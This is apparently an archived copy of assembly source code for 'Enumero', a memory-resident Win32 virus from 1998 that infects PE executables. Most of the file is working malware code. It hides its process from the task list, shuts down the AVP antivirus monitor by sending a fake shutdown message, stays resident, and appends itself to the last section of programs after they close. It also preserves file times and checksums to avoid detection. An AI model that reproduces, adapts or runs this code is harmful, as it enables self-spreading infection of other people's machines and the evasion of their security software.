mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
1174 lines
41 KiB
NASM
1174 lines
41 KiB
NASM
|
||
;
|
||
; Enumero, (c)1998 by Virogen[NOP]
|
||
; http://virogen.cjb.net
|
||
;
|
||
; This is a fairly simple virus I whipped up REAL fast outta the
|
||
; existing enumiacs source. The only real thing I wanted to accomplish
|
||
; with this virus was full win32 support and demonstration of proper
|
||
; PE infection by appending at the end of the last object's virtual
|
||
; size, not physical size.
|
||
;
|
||
; OS: Win32 (win95/98/NT)
|
||
; Hosts: PE (Parastic - append to last object at obj_rva+obj_vsize
|
||
; No date/time change
|
||
; No attribute change
|
||
; Correct checksum set in header.
|
||
; Physical file size increase varies depending on file alignment
|
||
; and previous padding on last object.
|
||
; Characteristics: Memory resident. Infects PEs when they terminate. Note
|
||
; that the PE must have created a window sometime in
|
||
; its execution, it doesn't matter if this window
|
||
; is visible or not. Process hidden from win95/98
|
||
; process list.
|
||
;
|
||
;
|
||
; greetz: lapse,jp,vecna,darkman, and everyone else
|
||
;
|
||
|
||
include mywin.inc
|
||
|
||
ID_OFF equ 0ch ; offset of our marker in PE
|
||
physical_eip equ 400h ; physical eip
|
||
host_physical_eip equ physical_eip+(offset host_entry-offset vstart) ; physical eip of host entry set
|
||
VIRUS_SIZE equ 6656 ; size after vgalign
|
||
VIRTUAL_SIZE equ 6656
|
||
|
||
; max module/process names we can queue - keep in mind that each
|
||
; is allocated 256 bytes of memory
|
||
max_idx equ 300
|
||
|
||
.386
|
||
locals
|
||
jumps
|
||
.model flat,STDCALL
|
||
;
|
||
; our imported APIs for spawned virus - the spawned virus doesn't have to
|
||
; worry with manual importing nor delta offsets of course.
|
||
;
|
||
extrn ExitProcess:PROC
|
||
extrn EnumWindows:PROC
|
||
extrn SetPriorityClass:PROC
|
||
extrn GetCurrentProcess:PROC
|
||
extrn CloseHandle:PROC
|
||
extrn ReadFile:PROC
|
||
extrn WriteFile:PROC
|
||
extrn SetFilePointer:PROC
|
||
extrn GetModuleHandleA:PROC
|
||
extrn MapViewOfFile:PROC
|
||
extrn CreateFileMappingA:PROC
|
||
extrn UnmapViewOfFile:PROC
|
||
extrn SetEndOfFile:PROC
|
||
extrn SetFilePointer:PROC
|
||
extrn GetFileAttributesA:PROC
|
||
extrn SetFileAttributesA:PROC
|
||
extrn GetFileSize:PROC
|
||
extrn GetTickCount:PROC
|
||
extrn GetFileSize:PROC
|
||
extrn GetFileTime:PROC
|
||
extrn SetFileTime:PROC
|
||
extrn GetProcAddress:PROC
|
||
extrn CheckSumMappedFile:PROC
|
||
extrn PeekMessageA:PROC
|
||
extrn Sleep:PROC
|
||
extrn CopyFileA:PROC
|
||
extrn FindWindowA:PROC
|
||
extrn GetWindowThreadProcessId:PROC
|
||
extrn OpenProcess:PROC
|
||
extrn PostMessageA:PROC
|
||
extrn GetModuleFileNameA:PROC
|
||
extrn LoadLibraryA:PROC
|
||
extrn FreeLibrary:PROC
|
||
extrn IsBadReadPtr:PROC
|
||
|
||
org 0
|
||
.data
|
||
db '<27> [Enumero] by Virogen [NOP] <20>' ; it's i said the fly
|
||
.code
|
||
vstart:
|
||
call geteip ; find relative offset
|
||
geteip:
|
||
mov ebp,[esp] ; grab it off stack
|
||
mov eax,ebp ; used below
|
||
sub ebp,offset geteip ; fix it up
|
||
add esp,4 ; fix da stack
|
||
|
||
; first, let's find kernel base. If this is a parastic portion of virus
|
||
; executing, we'll need to obtain a few APIs in order to spawn the virus.
|
||
; Here we get a pointer to the kernel from the stack (a return address).
|
||
; Then we scan down until we find the kernel base.
|
||
;
|
||
; We encapsulate this with an SEH handler, in case something goes bad wrong
|
||
; we simply immediatly jump to the host (if this is a parastic copy of the
|
||
; virus).
|
||
;
|
||
call set_seh ; setup SEH frame
|
||
;-- error handler
|
||
mov esp,[esp+8]
|
||
pushad
|
||
pushfd
|
||
call geteip3
|
||
geteip3:
|
||
pop ebp
|
||
sub ebp,offset geteip3
|
||
jmp seh_exit
|
||
;-- end error handler
|
||
set_seh:
|
||
push dword ptr fs:[0] ; save old exception ptr
|
||
mov fs:[0],esp ; set ptr to our exception handler
|
||
mov edx,[esp+8] ; determine OS
|
||
|
||
find_base_loop:
|
||
cmp dword ptr [edx+0b4h],edx ; if we're at base, then
|
||
jz good_os ; offset 0b4h contains kernel
|
||
dec edx ; base
|
||
jmp find_base_loop
|
||
|
||
good_os:
|
||
mov [ebp+kernelbase],edx ; save kernel base
|
||
|
||
pushad
|
||
pushfd
|
||
;
|
||
; this is my API importer from lorez, imports APIs from the kernel32.dll
|
||
; export table in memory. Someday I will recode this in a more efficient
|
||
; fashion, but I am too lazy today.
|
||
;
|
||
; a brief explanation of the organization of the export table would be
|
||
; useful here. Ok, basically there are three tables within the export
|
||
; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal
|
||
; Table (16bit). Ok, the ordinal number of an API is the entry number of
|
||
; the API in the RVA array. So, multiply the ordinal number by four and
|
||
; you've got an index into the API RVA Table. Probably you don't already
|
||
; have the ordinal number though, so you'll have to find it. To do this,
|
||
; you use the Name Pointer Table. This is an array of pointers to the
|
||
; asciiz name of each API. When you find the pointer of the API you're
|
||
; looking for by string compares, you take the index number of it and
|
||
; multiply it by 2 (because the ordinal table is 16bit). Index the result
|
||
; in the ordinal table, and you're all set.
|
||
;
|
||
;
|
||
mov esi,edx
|
||
add esi,[esi+3ch] ; relative ptr to PE header
|
||
cmp word ptr [esi],'EP' ; make sure we're on right track
|
||
jnz goto_host ; if not.. abort
|
||
mov esi,[esi+120] ; get export table RVA
|
||
add esi,edx ; relative to image base
|
||
mov edi,[esi+36] ; get ordinal table RVA
|
||
add edi,edx ; relative to image base
|
||
mov [ebp+ordinaltbl],edi ; save it
|
||
mov edi,[esi+32] ; get name ptr RVA
|
||
add edi,edx ; is relative to image base
|
||
mov [ebp+nameptrtbl],edi ; save it
|
||
mov ecx,[esi+24] ; get number of name ptrs
|
||
mov esi,[esi+28] ; get address table RVA
|
||
add esi,edx ; is relative to image base
|
||
mov [ebp+adrtbl],esi ; save it
|
||
|
||
xor edx,edx ; edx is our ordinal counter
|
||
; edi=name ptr table
|
||
; ecx=number of name ptrs
|
||
lea esi,[ebp+APIs] ; -> API Name ptrs
|
||
mov [ebp+ourAPIptr],esi ; save it
|
||
lea eax,[ebp+API_Struct] ; our API address will go here
|
||
mov [ebp+curAPIptr],eax ; save it
|
||
chk_next_API_name:
|
||
mov esi,[ebp+ourAPIptr] ; get ptr to structure item
|
||
mov ebx,[esi] ; load ptr to our API name
|
||
add ebx,ebp ; add relative address
|
||
mov esi,[edi] ; get API name RVA
|
||
add esi,[ebp+kernelbase] ; relative to image base
|
||
compare_API_name:
|
||
lodsb
|
||
cmp al,byte ptr [ebx] ; compare a byte of names
|
||
jnz not_our_API ; it's not our API
|
||
cmp al,0 ; end of string?
|
||
jz is_our_API ; it's our API
|
||
inc ebx
|
||
jmp compare_API_name
|
||
|
||
not_our_API:
|
||
inc edx ; increment API counter
|
||
cmp edx,ecx ; last entry of name ptr table?
|
||
jz goto_host ; uhoh.. we didn't find one
|
||
; of our APIs.. abort it all
|
||
add edi,4 ; increment export name ptr idx
|
||
mov esi,[ebp+ourAPIptr] ; restore our API name ptr struct
|
||
jmp chk_next_API_name
|
||
|
||
is_our_API:
|
||
|
||
mov edi,[ebp+ordinaltbl] ; load oridinal table RVA
|
||
push ecx
|
||
push edx
|
||
xchg edx,eax ; edx=API number
|
||
add eax,eax ; *2 cuz ordinals are words
|
||
add edi,eax ; add to ordinal table VA
|
||
mov ax,[edi] ; get ordinal (word)
|
||
xor edx,edx
|
||
mov ecx,4
|
||
mul ecx ; *4 cuz address tbl is dd's
|
||
mov edi,[ebp+adrtbl] ; load address table VA
|
||
add edi,eax ; set idx to API
|
||
mov eax,edi
|
||
sub eax,[ebp+kernelbase] ; get the VA of the entry
|
||
mov [ebp+originalRVAptr],eax ; save it for kernel infection
|
||
; notice that our last API
|
||
; in the array is the one we
|
||
; hook
|
||
mov eax,[edi] ; get API RVA
|
||
mov [ebp+originalRVA],eax ; save it for kernel infection
|
||
add eax,[ebp+kernelbase] ; is relative to image base
|
||
mov edi,[ebp+curAPIptr] ; idx to storage stucture
|
||
mov [edi],eax ; save VA of API
|
||
add edi,4 ; increment index
|
||
mov [ebp+curAPIptr],edi ; save
|
||
|
||
pop edx
|
||
pop ecx
|
||
|
||
mov edi,[ebp+nameptrtbl] ; reset export name ptr tableidx
|
||
mov esi,[ebp+ourAPIptr] ; restore idx to our name ptrs
|
||
add esi,4 ; increment idx API name ptr structure
|
||
mov [ebp+ourAPIptr],esi ; save our new ptr to name ptr
|
||
cmp dword ptr [esi],0 ; end of our API structure?
|
||
jz found_all ; if so then we got 'em all
|
||
mov edi,[ebp+nameptrtbl] ; reset idx to export name pt
|
||
xor edx,edx ; reset API counter
|
||
jmp chk_next_API_name
|
||
|
||
;
|
||
; now we've imported all our needed APIs to spawn the virus and execute.
|
||
; First we check to see if this is spawned or parastic copy by checking
|
||
; delta offset.
|
||
;
|
||
found_all:
|
||
or ebp,ebp ; spawned file or 1st gen?
|
||
jz spawned_func
|
||
;
|
||
; if parastic copy of virus, then spawn virus and execute it.
|
||
;
|
||
push 275
|
||
push 64 ; allocate memory for spawn
|
||
call [ebp+GlobalAllocAPI] ; path and filename
|
||
or eax,eax
|
||
jz goto_host
|
||
|
||
xor ecx,ecx
|
||
call GetVirusPathFile
|
||
|
||
mov [ebp+spawnfile],eax ; eax->sysdir/spawnfilename buffer
|
||
push eax ; save it fer later
|
||
|
||
push eax
|
||
call [ebp+DeleteFileAPI] ; attempt to delete
|
||
|
||
;
|
||
; now we spawn a copy of the virus. If there is an error creating the
|
||
; spawn file, then that means it is probably shared and therefore already
|
||
; in memory.
|
||
;
|
||
pop esi ; esi->spawn filename
|
||
call Create ; CreateFile
|
||
cmp eax,-1 ; if error, then we're already in mem
|
||
jz dealloc_goto_host
|
||
push eax ; save handle
|
||
mov ecx,VIRUS_SIZE
|
||
mov esi,ebp
|
||
add esi,offset vstart-physical_eip
|
||
call Write ; write our virus
|
||
call [ebp+CloseFileAPI] ; handle still on stack
|
||
|
||
lea eax,[ebp+sinfo] ; overwrite some other unused vars
|
||
push eax
|
||
call [ebp+GetStartupInfoAPI] ; get startup info of process
|
||
|
||
lea eax,[ebp+pinfo] ; storage for process info
|
||
push eax
|
||
lea eax,[ebp+sinfo] ; startup info
|
||
push eax
|
||
push 0
|
||
push 0
|
||
push 67108928h ; CREATE_DEFAULT_ERROR_MODE|IDLE
|
||
push 0
|
||
push 0
|
||
push 0
|
||
push 0
|
||
mov esi,[ebp+spawnfile] ; esi->spawn sysdir/file
|
||
push esi
|
||
call [ebp+CreateProcessAPI] ; create our viral process
|
||
|
||
mov eax,[ebp+hprocess]
|
||
push eax
|
||
call [ebp+CloseHandleAPI] ; close handle of our process
|
||
|
||
dealloc_goto_host:
|
||
mov eax,[ebp+spawnfile]
|
||
push eax
|
||
call [ebp+GlobalFreeAPI]
|
||
goto_host:
|
||
seh_exit:
|
||
|
||
or ebp,ebp ; if spanwed
|
||
jz _exit
|
||
|
||
;
|
||
; Here we calculate the image base, in case this executable was loaded at a base other
|
||
; than the one specified in the PE header.
|
||
;
|
||
|
||
call get_ib_displacement
|
||
get_ib_displacement:
|
||
mov ebx,newep[ebp]
|
||
add ebx,(offset get_ib_displacement-offset vstart)
|
||
pop eax
|
||
sub eax,ebx ; eax=image base
|
||
add host_entry[ebp],eax ; add image base to host entry rva
|
||
|
||
popfd
|
||
popad
|
||
pop dword ptr fs:[0] ; restore original SEH frame
|
||
pop edx ; fixup stack
|
||
|
||
jmp [ebp+host_entry] ; jmp to host entry VA
|
||
host_entry dd offset vstart ; store host entry here
|
||
newep dd 0
|
||
|
||
; spawned virus code - we can throw away delta offsets now. This is
|
||
; the portion of the virus that stays resident.
|
||
;
|
||
spawned_func:
|
||
popfd
|
||
popad
|
||
pop dword ptr fs:[0] ; restore original SEH frame
|
||
pop edx ; fixup stack
|
||
xor ebp,ebp ; no delta offset
|
||
;
|
||
; first call PeekMessage so that the hourglass icon isn't displayed until
|
||
; timeout
|
||
;
|
||
push 0
|
||
push 1
|
||
push 0
|
||
push 0
|
||
push offset msgstruct
|
||
call PeekMessageA
|
||
|
||
;
|
||
; here we try to get the address of RegisterServiceProcess, which will
|
||
; allow us to register as a service process under win95/98, therefore
|
||
; hiding us from the ctrl-alt-del process list. This API not available
|
||
; under WinNT, so we import it manually to make sure that it exists, we
|
||
; don't need any ivalid ordinal numbers on spawned virus loadup.
|
||
;
|
||
; While we're at it, we'll also attempt to import the address of our
|
||
; GetWindowModuleFileNameA from USER32.DLL. If this API doesn't exist,
|
||
; which it is a fairly new API, then we just pass control to the host.
|
||
;
|
||
;
|
||
push offset user32
|
||
call GetModuleHandleA ; get handle of user32.dll
|
||
or eax,eax
|
||
jz _exit ; it should have been loaded
|
||
push offset GetWindowModuleFileName
|
||
push eax
|
||
call GetProcAddress
|
||
or eax,eax ; if we don't have this API, then
|
||
jz _exit ; we must be in old NT or 95 crap
|
||
mov GetWindowModuleFileNameA,eax
|
||
push offset kernel32
|
||
call GetModuleHandleA
|
||
or eax,eax
|
||
jz _exit ; something bad wrong if this
|
||
push offset RegisterService
|
||
push eax
|
||
call GetProcAddress ; get rsp address
|
||
or eax,eax
|
||
jz isNT ; if not found, then NT system
|
||
push 1 ; 1=register process
|
||
push 0 ; null=current process
|
||
call eax ; RegisterServiceProcess
|
||
jmp is9598
|
||
;
|
||
; Under WinNT we'll make use of PSAPI.DLL functionz to retrieve module filenames.
|
||
; We'll grab the address of GetModuleFileNameEx and EnumProcessModules
|
||
;
|
||
|
||
isNT:
|
||
push offset psapi
|
||
call LoadLibraryA
|
||
or eax,eax
|
||
jz is9598
|
||
mov phandle,eax
|
||
push offset EnumPModules
|
||
push eax
|
||
call GetProcAddress
|
||
mov EnumProcessModules,eax
|
||
or eax,eax
|
||
jz unload_psapi
|
||
push offset GetMFileName
|
||
push phandle
|
||
call GetProcAddress
|
||
mov GetModuleFileNameEx,eax
|
||
or eax,eax
|
||
jz unload_psapi
|
||
jmp is9598
|
||
unload_psapi:
|
||
push phandle
|
||
call FreeLibrary
|
||
is9598:
|
||
;
|
||
; get rid of AVP Monitor by simulating a system shutdown, sending WM_ENDSESSION to
|
||
; its window
|
||
;
|
||
;
|
||
push offset avp_wndname ; AVP window name
|
||
push 0 ; class name
|
||
call FindWindowA ; Find AVP
|
||
or eax,eax ; get handle?
|
||
jz no_avp ; if not, then abort
|
||
|
||
push 0 ; no lparam
|
||
push 0 ; or wparam
|
||
push WM_ENDSESSION ; WM_ENDSESSION generated at system shutdown
|
||
push eax ; handle to window
|
||
call PostMessageA ; Post the message
|
||
|
||
no_avp:
|
||
;
|
||
; allocate memory for, and load our virus for later infection
|
||
;
|
||
push 280
|
||
push 64
|
||
call [GlobalAllocAPI] ; allocate memory for del buf
|
||
or eax,eax
|
||
jz _exit
|
||
mov del_buf,eax
|
||
push VIRUS_SIZE
|
||
push 64
|
||
call [GlobalAllocAPI]
|
||
or eax,eax
|
||
jz _exit
|
||
mov virus_mem,eax
|
||
xor ecx,ecx ; return exe filename
|
||
call GetVirusPathFile
|
||
add eax,280
|
||
inc ecx ; ecx!=0 get temp filename
|
||
call GetVirusPathFile
|
||
push eax ; save for below
|
||
push 0
|
||
push eax
|
||
sub eax,280
|
||
push eax
|
||
call CopyFileA
|
||
pop esi ; esi->tmp filename
|
||
call OpenRead
|
||
cmp eax,-1
|
||
jz dealloc_exit
|
||
mov esi,virus_mem
|
||
mov ecx,VIRUS_SIZE
|
||
push eax ; save handle for close
|
||
call Read
|
||
cmp bytesread,VIRUS_SIZE
|
||
jnz dealloc_exit
|
||
call CloseHandle ; handle still on stack
|
||
mov eax,del_buf
|
||
inc ecx ; retrieve temp filename
|
||
call GetVirusPathFile ; get temp filename again
|
||
push eax
|
||
Call [DeleteFileAPI] ; delete temp file
|
||
jmp continue_spawned
|
||
dealloc_exit:
|
||
push del_buf
|
||
call [GlobalFreeAPI]
|
||
push virus_mem
|
||
call [GlobalFreeAPI] ; handle to mem still on stack
|
||
jmp _exit
|
||
;
|
||
; now we need to allocate memory for our array
|
||
;
|
||
continue_spawned:
|
||
push 256*max_idx+1
|
||
push 64 ; GPTR - fixed, zero init
|
||
call [GlobalAllocAPI] ; allocate memory for our array
|
||
or eax,eax ; error allocating? exit
|
||
jz dealloc_exit
|
||
mov pnames,eax
|
||
push 1000h
|
||
push 64 ; allocate memory for modules enumeration
|
||
call [ebp+GlobalAllocAPI] ;
|
||
or eax,eax
|
||
jz dealloc_exit
|
||
mov mod_array,eax
|
||
|
||
call GetCurrentProcess ; get current process handle
|
||
push 64 ; idle priority class
|
||
push eax ; handle of current process
|
||
call SetPriorityClass ; set priority to idle
|
||
|
||
mov testnums,0 ; enumerate and load
|
||
call InstallEnum ; first enumeration
|
||
;
|
||
; This is our memory resident loop. What this does is every 1 second
|
||
; check the number of windows open by re-enumerating them. If this number
|
||
; differs from the last # of open windows, then we go and try to infect
|
||
; all the queued processes, in hopes that one has closed and is suitable
|
||
; for infection. We try to infect the queued processes about 10 times with
|
||
; a quarter second delay between each, or until we at least can open one of
|
||
; the files, this is just in case the window was closed but we still need
|
||
; to give the process time to terminate.
|
||
;
|
||
main_loop:
|
||
push 500 ; 1/2 second sleep
|
||
call Sleep ; suspend process for 1/2 second
|
||
|
||
mov testnums,1 ; just check number of windows
|
||
call InstallEnum ; get number of windows
|
||
mov eax,totalwnd ; get total windows from last en&l
|
||
cmp testednums,eax
|
||
jz main_loop ; if equal keep enumerating
|
||
|
||
mov icnt,0 ; we want to keep trying to infect
|
||
do_i:
|
||
call Infect ; infect if different # of windows open
|
||
cmp re_enum,0
|
||
jnz over_i ; if infected a file, then abort
|
||
push 250 ; 1/4 second
|
||
call Sleep ; suspend process for 1/4 second
|
||
inc icnt ; increment counter
|
||
cmp icnt,10 ; we'll try 10 times
|
||
jnz do_i
|
||
over_i:
|
||
mov testnums,0 ; enumerate and load windows
|
||
call InstallEnum
|
||
jmp main_loop ; we'll want something else here..
|
||
; may eat up too much cpu time
|
||
; some waitforsingleobject variation
|
||
_exit:
|
||
push 0
|
||
call ExitProcess
|
||
;
|
||
; This procedure enumerates the windows using EnumWindows. See
|
||
; EnumWindowsProcedure below, which is called for each window found.
|
||
;
|
||
InstallEnum proc
|
||
cmp testnums,1
|
||
jz jdoit
|
||
mov totalwnd,0
|
||
mov totalexe,0
|
||
mov eax,pnames
|
||
mov curpos,eax
|
||
jdoit:
|
||
mov testednums,0
|
||
push 9090h
|
||
push offset EnumWindowsProc
|
||
call EnumWindows ; set up window enumeration
|
||
ret
|
||
|
||
InstallEnum endp
|
||
|
||
;
|
||
; EnumWindowsProc - this procedure is called for every window found.
|
||
;
|
||
;
|
||
EnumWindowsProc proc uses ebx edi esi, hwnd:DWORD, lparam:DWORD
|
||
cmp testnums,1 ; only testing num of windows?
|
||
jz enum_only ; if so just increment counter
|
||
cmp totalexe,max_idx ; filled our array?
|
||
jge not_exe ; if so just increment counter
|
||
mov eax,GetWindowModuleFileNameA
|
||
or eax,eax
|
||
jz is_old_win
|
||
push 255 ; maximum size of path&filename + null
|
||
push curpos ; pointer to current member of array
|
||
push hwnd ; handle of window
|
||
call eax ; get associated module filename
|
||
or eax,eax ; error - must be NT
|
||
jnz got_fname_ok
|
||
is_old_win:
|
||
; this is NT specific code
|
||
; If we couldn't
|
||
cmp EnumProcessModules,0 ; make sure we got api va
|
||
jz bad_abort
|
||
cmp GetModuleFileNameEx,0 ; make sure we got api va
|
||
jz bad_abort
|
||
push offset pid
|
||
push hwnd
|
||
call GetWindowThreadProcessId ; get process id
|
||
push pid
|
||
push 0
|
||
push PROCESS_ALL_ACCESS
|
||
call OpenProcess ; open da process
|
||
mov phandle,eax
|
||
or eax,eax
|
||
jz bad_abort
|
||
push offset bytesread
|
||
push 1000h
|
||
push mod_array
|
||
push phandle
|
||
call [EnumProcessModules] ; enumerate process modules
|
||
mov esi,mod_array
|
||
getmodloop:
|
||
lodsd
|
||
or eax,eax
|
||
jz abortmodloop
|
||
push 255 ; maximum size of path&filename + null
|
||
push curpos ; pointer to current member of array
|
||
push eax
|
||
push phandle
|
||
call [GetModuleFileNameEx] ; get associated module filename
|
||
call testexe
|
||
jc getmodloop ; if not exe then keep scanning
|
||
abortmodloop:
|
||
push eax
|
||
push phandle
|
||
call CloseHandle
|
||
pop eax
|
||
got_fname_ok:
|
||
call testexe
|
||
jc not_exe ; if not, then don't add to pointer
|
||
add curpos,256 ; increment pointer to next member of array
|
||
inc totalexe ; increment total #s of EXEs found
|
||
not_exe:
|
||
inc totalwnd ; increment total number of window
|
||
bad_abort:
|
||
ret
|
||
enum_only:
|
||
inc testednums
|
||
ret
|
||
EnumWindowsProc endp
|
||
|
||
;
|
||
; here we search the saved process filenames and try to infect each one
|
||
;
|
||
Infect proc
|
||
mov esi,pnames ; pointer to allocated array
|
||
sub esi,256 ; member -1, will make 0 in loop
|
||
mov curidx,-1 ; will increment to 0
|
||
mov re_enum,0 ; if we infected flag
|
||
iloop:
|
||
inc curidx ; increment current member of array
|
||
add esi,256 ; increment index into array
|
||
mov eax,totalexe ; get total EXEs we found in enumer
|
||
cmp curidx,eax ; we exceeded that amount?
|
||
jg abloop ; if so we're done
|
||
push esi ; esi->array member (filename); save
|
||
call OpenFile ; try and open it
|
||
pop esi ; restore ptr to filename
|
||
cmp eax,-1 ; error opening file?
|
||
jz iloop ; if so skip to next member of array
|
||
mov fnameptr,esi ; else save the filename pointer
|
||
push eax ; eax=handle of file
|
||
call CloseHandle ; close the file
|
||
push esi
|
||
call InfectFile ; infect the file
|
||
pop esi
|
||
mov re_enum,1 ; set successful infectin flag
|
||
jmp iloop ; continue trying to infect
|
||
abloop:
|
||
ret
|
||
Infect endp
|
||
|
||
testexe proc
|
||
or eax,eax
|
||
jz return_stc
|
||
mov ecx,eax ; ecx=size of path&filename of module
|
||
add ecx,curpos ; set up pointer to end of path&filename
|
||
sub ecx,3 ; extension starts here
|
||
cmp word ptr [ecx],'XE' ; make sure it's EXE
|
||
jz return_clc
|
||
cmp word ptr [ecx],'xe'
|
||
jz return_clc
|
||
return_stc:
|
||
stc
|
||
ret
|
||
return_clc:
|
||
clc
|
||
ret
|
||
testexe endp
|
||
|
||
; return pointer to virus path and filename
|
||
; entry: eax->buffer
|
||
; ecx=0 if exe file, 1 if tmp file
|
||
; return: eax->buffer
|
||
GetVirusPathFile proc
|
||
|
||
push eax
|
||
push ecx
|
||
push eax
|
||
|
||
push 260 ; max path size
|
||
push eax ; ptr
|
||
call [ebp+GetSysDirAPI] ; get sys directory
|
||
|
||
pop edi ; edi->sys directory
|
||
add edi,eax ; edi->end of dir
|
||
pop ecx
|
||
or ecx,ecx
|
||
jnz tmpname
|
||
lea esi,[ebp+virusname] ; esi->spawn filename
|
||
jmp append
|
||
tmpname:
|
||
lea esi,[ebp+tempname]
|
||
append:
|
||
call copy_str ; append to sys dir
|
||
pop eax
|
||
ret
|
||
|
||
GetVirusPathFile endp
|
||
|
||
|
||
OpenRead:
|
||
mov ecx,3
|
||
mov ebx,80000000h
|
||
jmp or
|
||
Create:
|
||
mov ecx,1
|
||
jmp of
|
||
OpenFile proc
|
||
mov ecx,3
|
||
of:
|
||
mov ebx,0c0000000h
|
||
or:
|
||
push 0
|
||
push 20h ; attribute normal
|
||
push ecx ; 3=open existing file
|
||
push 0
|
||
push 0
|
||
push ebx ; permissions
|
||
push esi
|
||
call [ebp+CreateFileAPI]
|
||
ret
|
||
OpenFile endp
|
||
|
||
Read proc
|
||
push 0
|
||
push offset bytesread
|
||
push ecx
|
||
push esi
|
||
push eax
|
||
call ReadFile
|
||
ret
|
||
Read endp
|
||
|
||
Write proc
|
||
push 0
|
||
lea ebx,[ebp+bytesread]
|
||
push ebx
|
||
push ecx
|
||
push esi
|
||
push eax
|
||
call [ebp+WriteFileAPI]
|
||
ret
|
||
Write endp
|
||
|
||
|
||
;-----------------------------------------------
|
||
; infect file - call with fnameptr set
|
||
;
|
||
; As you can see, we append to the last object at RVA+virtual size
|
||
; and then set physical size to file_align(obj_virtual_size+
|
||
; virus_physical_size). In this way, we take advantage of any padded
|
||
; space in the last object therefore decreasing the physical size
|
||
; increase of the host.
|
||
;
|
||
; It is my contention, that since the virtual size usually represents
|
||
; the true unaligned physical size, appending should always occur
|
||
; at the end of the virtual size and then the physical size should
|
||
; be aligned to the new virtual size.
|
||
;
|
||
;
|
||
InfectFile proc
|
||
|
||
mov eax,fnameptr
|
||
push eax
|
||
call GetFileAttributesA ; get file attributes
|
||
mov oldattrib,eax
|
||
|
||
cmp eax,-1 ; if error then maybe shared
|
||
jnz not_shared
|
||
ret ; can't infect it
|
||
|
||
not_shared:
|
||
push 20h ; +A
|
||
mov eax,fnameptr
|
||
push eax
|
||
call SetFileAttributesA ; clear 'da attribs
|
||
|
||
mov esi,fnameptr
|
||
call OpenFile
|
||
cmp eax,-1
|
||
jnz open_ok
|
||
ret
|
||
open_ok:
|
||
mov handle,eax
|
||
|
||
push offset creation
|
||
push offset lastaccess
|
||
push offset lastwrite
|
||
push eax
|
||
call GetFileTime ; grab the file time
|
||
|
||
xor ecx,ecx ; only map size of file
|
||
call create_mapping ; create file mapping
|
||
jc abort_infect
|
||
; eax->mapped file
|
||
cmp word ptr [eax],'ZM' ; is EXE?
|
||
jnz abort_infect
|
||
|
||
call GetPEHeader ; load esi->PE Header
|
||
|
||
push 2
|
||
push esi ; test ptr for read acces
|
||
call IsBadReadPtr ; was ptr any good?
|
||
or eax,eax
|
||
jnz abort_infect
|
||
|
||
cmp word ptr [esi],'EP' ; PE?
|
||
jnz abort_infect
|
||
|
||
cmp dword ptr [esi+ID_OFF],0 ; any value here?
|
||
jnz abort_infect ; if yes, infected
|
||
|
||
call unmap ; unmap file
|
||
|
||
mov ecx,VIRUS_SIZE+1000h ; add max virus size to map size
|
||
call create_mapping ; map file again
|
||
jc abort_infect
|
||
|
||
call GetPEHeader ; load esi -> pe header
|
||
|
||
call GetTickCount ; get tick count
|
||
mov dword ptr [esi+ID_OFF],eax ; save as infect flag
|
||
|
||
xor eax,eax
|
||
mov ax, word ptr [esi+NtHeaderSize] ; get header size
|
||
add eax,18h ; object table is here
|
||
|
||
mov edi,esi
|
||
add edi,eax ; edi->object table
|
||
xor eax,eax
|
||
mov ax,[esi+numObj] ; get number of objects
|
||
dec eax ; we want last object
|
||
mov ecx,40 ; each object 40 bytes
|
||
xor edx,edx
|
||
mul ecx ; numObj-1*40=last object
|
||
add edi,eax ; edi->last obj
|
||
|
||
mov eax,[edi+objpoff] ; get last object physical off
|
||
mov lastobjimageoff,eax ; save it
|
||
|
||
mov ecx,[edi+objpsize] ; get physical size of object
|
||
mov eax,[edi+objvsize] ; get object virtual size
|
||
push eax ; save virtual size
|
||
push ecx ; save original p size
|
||
mov originalvsize,eax ; save it 4 later
|
||
add eax,VIRTUAL_SIZE ; add our virtual size
|
||
mov dword ptr [edi+objvsize],eax ; save new virtual size
|
||
mov ecx,[esi+filealign] ; physical size=filealign(vsize)
|
||
call align_fix ; align new vsize to be psize
|
||
mov [edi+objpsize],eax ; save new physical size
|
||
mov newpsize,eax ; store it for exe size calc
|
||
push eax
|
||
|
||
mov ecx,dword ptr [esi+objalign] ; get object alignment
|
||
mov eax,dword ptr [edi+objvsize] ; add virtual size
|
||
add eax,dword ptr [edi+objrva] ; +last object rva
|
||
call align_fix ; set on obj alignment
|
||
mov dword ptr [esi+imagesize],eax ; save new imagesize
|
||
|
||
mov [edi+objflags],0E0000060h ; set object flags r/w/x
|
||
|
||
pop ecx ; restore new phsyical size
|
||
pop eax ; original psize
|
||
sub ecx,eax
|
||
mov diffpsize,ecx
|
||
|
||
pop eax ; restore orginal virtual size
|
||
add eax,[edi+objrva] ; add last object's RVA
|
||
; eax now RVA of virus code
|
||
add eax,physical_eip ; add physical eip:
|
||
mov ebx,[esi+entrypointRVA] ; get original entry
|
||
mov [esi+entrypointRVA],eax ; put our RVA as entry
|
||
|
||
mov ecx,[ebp+virus_mem]
|
||
add ecx,host_physical_eip
|
||
mov [ecx],ebx ; save host e RVA
|
||
add ecx,4
|
||
mov [ecx],eax ; save virus e RVA
|
||
;
|
||
push esi
|
||
|
||
mov edi,map_ptr
|
||
add edi,originalvsize ; restore original virtual size
|
||
add edi,lastobjimageoff ; add object physical offset
|
||
; edi->physical end of object
|
||
mov esi,virus_mem ; esi->virus
|
||
mov ecx,VIRUS_SIZE
|
||
rep movsb ; copy virus to host
|
||
|
||
pop esi
|
||
mov ecx,lastobjimageoff
|
||
add ecx,newpsize
|
||
mov fsize,ecx ; store new filesize
|
||
push ecx ; ecx=real file size
|
||
|
||
call unmap ; unmap file
|
||
|
||
pop ecx
|
||
push FILE_BEGIN ; from file begin
|
||
push 0 ; distance high
|
||
push ecx ; distance low
|
||
push handle
|
||
call SetFilePointer ; move file pointer to
|
||
; real EOF
|
||
push handle
|
||
call SetEndOfFile ; set end of file
|
||
;
|
||
; now we need to calculate checksum. We need to remap the file to get it
|
||
; right after file size change. I might be wrong about this, there could
|
||
; have been a bug in my code, but it seems resonable.
|
||
;
|
||
xor ecx,ecx
|
||
call create_mapping
|
||
jc unmapped
|
||
mov esi,[eax+3ch]
|
||
add esi,eax ; esi->pe header
|
||
lea eax,[esi+checksum]
|
||
push eax ; destination of checksum in hdr
|
||
push offset oldchksum
|
||
push fsize ; new file size
|
||
mov eax,map_ptr
|
||
push eax
|
||
call CheckSumMappedFile
|
||
call unmap
|
||
|
||
jmp unmapped
|
||
|
||
